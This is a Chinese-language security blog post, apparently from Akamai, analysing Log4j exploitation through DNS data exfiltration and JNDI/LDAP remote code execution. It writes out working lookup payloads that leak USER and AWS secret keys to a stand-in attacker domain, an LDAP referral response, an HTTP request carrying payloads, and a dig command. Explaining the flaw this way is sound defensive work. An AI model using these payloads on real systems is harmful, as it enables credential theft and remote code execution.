Log4j 漏洞回溯分析第 2 部分：漏洞利用攻击形式 - 数据渗漏和远程代码执行

在本例中，假设攻击者拥有的域名是： malware.example。

注意：为避免在本文中不慎提及真实域名，我们在分析中使用 .example 这个顶级域名，但读者应该认识到，实际域名可以是攻击者能买到的任何域名。

此外读者还应设想到，攻击者能够以某种方式操控发送到 Log4j 的文本。我们将在本博文后面介绍其具体实现方式。就本例而言，我们假设文本的形式如下：

“Log this: ${jndi:dns://127.0.0.1:53/${env:USER}.malware.example}”

按照早前介绍的嵌套原则，Log4j 会首先对 ${env:USER}表达式执行运算，从而查找正在运行该软件的用户。与先前一样，我们依然假设此用户是 Administrator。Log4j 随后会将文本中的相应表达式替换为此用户名，生成如下临时日志行：

“Log this: ${jndi:dns://127.0.0.1:53/Administrator.malware.example}”

这个日志行依然包含一个查找表达式：

${jndi:dns://127.0.0.1:53/Administrator.malware.example}

Log4j 在获得这个基于 JNDI 的查找表达式后，解析出 dns://127.0.0.1:53/Administrator.malware.example这一伪 URL，并将其传递给 JNDI。JNDI 在识别这一伪 URL 后认定需要查询 DNS 提供商，并随即使用 localhost 解析器执行 DNS 查找，从而获得 Administrator.malware.example。

由于 malware.example 归恶意攻击者所有，对于 Administrator.malware.example 的查询会传送到恶意攻击者的权威 DNS 服务器。恶意攻击方通过观察 DNS 查询结果判断出，包含存在漏洞的 Log4j 代码的软件目前是以 Administrator的用户身份运行。

这个例子说明了一点：只要向 Log4j 传送精心编制的攻击载荷，就能轻易泄露出目标环境的数据。当前运行软件的用户身份外泄这一问题已经足够严重了，但此漏洞还可能造成更为机密的信息泄露，而且严重程度要更进一步。

举一个例子（这个例子源自我们观察到真实个案），如果我们将上文提到的 ${env:USER} 改为 ${env:AWS_SECRET_ACCESS_KEY}，从而生成如下字符串，想想会产生怎样的后果：

“Log this: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}”

根据我们之前探讨的逻辑，这会造成 DNS 查询传送到恶意攻击者的权威 DNS 服务器，并且在查询中包含运行 Log4j 代码的 Amazon 环境的 AWS Secret Access Key（秘密访问密钥）。这类信息的 泄露 可能造成 AWS 实例被接管。

毫不夸张地说，只要某个环境中运行的软件包含能被 Log4j 查找表达式访问且存在漏洞的代码，那么攻击者就能通过嵌套的手法，轻而易举地将该环境中的信息强制传送到由攻击者控制的系统中。

您是不是觉得这已经非常可怕了？但实际情况还能更糟糕。

远程代码执行

某些 Java 版本中的 JNDI 实现默认允许一些目录服务直接或间接地通过远程代码响应查询，随后发起查询的机器可以在本地执行这些远程代码。

例如，在存在漏洞的安装环境内，LDAP 目录服务提供程序允许 LDAP 服务器使用称为 引用的内容来响应查询。这种引用会列出将下载到本地并在本地执行的代码的远程位置。

这种做法乍听起来似乎很疯狂，但在 LDAP 服务器和相关基础架构受信任的高度受控环境中，这种做法有其合乎逻辑的用途。如果攻击者能将请求方机器指向受其控制的不可信 LDAP 服务器，就会发生问题。攻击者可以返回对恶意代码的引用，JNDI 会尽职尽责地将其下载到主机，并在主机本地执行。

存在漏洞的 Log4j 实例允许通过查找表达式对 JNDI 进行不受限的访问，进而通过精心操控的日志行实现远程代码加载与执行。假设向 Log4j 发送了如下消息：

“Log this: ${jndi:ldap://rce.malware.example/a}”

在存在漏洞的系统上，Log4j 在检测到 ${jndi:ldap://rce.malware.example/a} 查找表达式时会提取 JNDI 伪 URL： ldap://rce.malware.example/a，然后将其传递给 JNDI 进行处理。JNDI 检测到此 URL 使用了 LDAP 目录服务提供程序，于是向 rce.malware.example 网站发出 LDAP 查询。

由于 rce.malware.example 由恶意攻击方拥有并运维，恶意攻击方会通过 LDAP 响应回发引用攻击载荷，其形式类似于下面这样：

dn:

javaClassName: exploit

javaCodeBase: http://rce.malware.com/exploit/

objectClass: javaNamingReference

javaFactory: exploitFactory

JNDI 在收到此响应后将与 http://rce.malware.com/exploit/ 这一 Web 服务器网址通信，并下载相关恶意远程代码执行攻击载荷，最终在运行 Log4j 的系统上执行。

威胁面

这些威胁极大的攻击都需要向 Log4j 传递专门编制的消息。这自然而然地引出了一个疑问： 攻击者是如何做到这一点的？ 答案就是利用受攻击系统可将 攻击者提供的信息 记录到日志中的任何机会。

目前最为 常见的攻击媒介 针对的都是基于 Web 的应用程序。许多此类应用程序都会在日志中记录访问网站的最终用户的交互情况。它们可能在日志中记录的信息示例包括：所请求的路径，以及相关的用户代理、请求时间和请求结果。

在了解这一点之后，攻击者即可连接到一个 Web 应用程序，并发出类似于这样的请求：

GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1

Host: www.webapp.example

User-Agent: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}

Web 应用程序在接收到该请求后会解析出 /${jndi:ldap://rce.malware.example/a} 这一路径和 ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}这一用户代理，并将这两部分信息发送到 Log4j。如果这一切发生在某个存在漏洞的系统上，那么 AWS 秘密访问密钥就会泄露，并且会下载和执行任意代码。

基于 Web 的应用程序目前是主要攻击目标，遭受攻击的频率远超过其他任何攻击目标，但务必注意，符合以下条件的 任何服务 都有可能成为漏洞利用者的攻击媒介：

• 运行 Java

• 利用存在漏洞的 Log4j 版本记录日志消息

• 记录攻击者提供的任何信息（URL、标头、Cookie、查询等）

Akamai 目前在现实攻击环境中已经观察到另一种针对 DNS 的攻击媒介，虽然其攻击频率远低于针对 Web 应用程序的变体，但足以证明这种思路的正确性。在一次攻击企图中，攻击者发出内嵌漏洞利用攻击载荷的 DNS 查询，以查询是否存在漏洞的 DNS 解析器。其做法可能非常简单，比如通过命令行发出如下 DNS 查找命令：

# dig '${jndi:ldap://rce.malware.example/a}.foo.example'

此命令会指示执行该命令的系统向主机已配置的解析器发出 DNS 查询，以查询 Log4j 查找字符串本身。收到这类查询的 DNS 解析器可能会将其记入日志，查询中包含的无效字符会提高其被记入日志的可能性。如果该 DNS 解析器基于 Java，并且使用存在漏洞的 Log4j 库版本实现日志记录，那么漏洞利用攻击就会执行。

此类攻击不仅限于查询。Akamai 当前正在密切监测的另一种攻击方法是在 DNS 响应中嵌入攻击载荷。许多 DNS 查询都能得到包含 IP 地址以外信息（例如 CNAME、TXT、SRV 和 PTR）的响应。我们目前观测到一些实证表明：攻击者通过操控其拥有的响应记录来嵌入可发起漏洞利用攻击的字符串，从而针对响应端的解析器以及可能在日志中记录此类查找结果的应用程序发起攻击。

我们只是初步解析了利用众所周知的互联网协议发起攻击的可能性。实际的威胁面十分广泛，远不止于我们提到的这些应用场景。事实上，近期已有安全研究人员展示，如果将 iPhone 更名为可供 Log4j 漏洞攻击利用的字符串，就会造成 Apple 基础架构内的服务器回 Ping，这表明处理手机名称的机器存在漏洞。

为了充分认识这个漏洞的严重性，我们必须考虑到，全世界有数十亿的设备运行 Java，而 Log4j 是 Java 世界中应用最广泛的日志库之一。 从 Web 服务器到自动贩售机，各种各样的设备都可能受到这一漏洞的影响，而许多嵌入式设备和物联网设备甚至可能根本无法安装补丁。

事实上，威胁面不仅涉及到受此类攻击威胁的设备数量之庞大，还涉及到这些设备暴露在风险之下的时长。考虑到所涉及设备的庞大数量，以及其中部分设备无法安装补丁的现实情况，这个漏洞或许无法在几个月内得到解决，其影响可能会延续数年之久，并且其攻击面的规模和影响程度都要超过先前许多广为人知的漏洞，比如 Shellshock 和 Heartbleed。

下期预告

敬请关注本系列博文的第 3 部分，届时我们将详细解析此攻击的演化历程，以及在这种不断演化的环境中保护企业安全的缓解措施。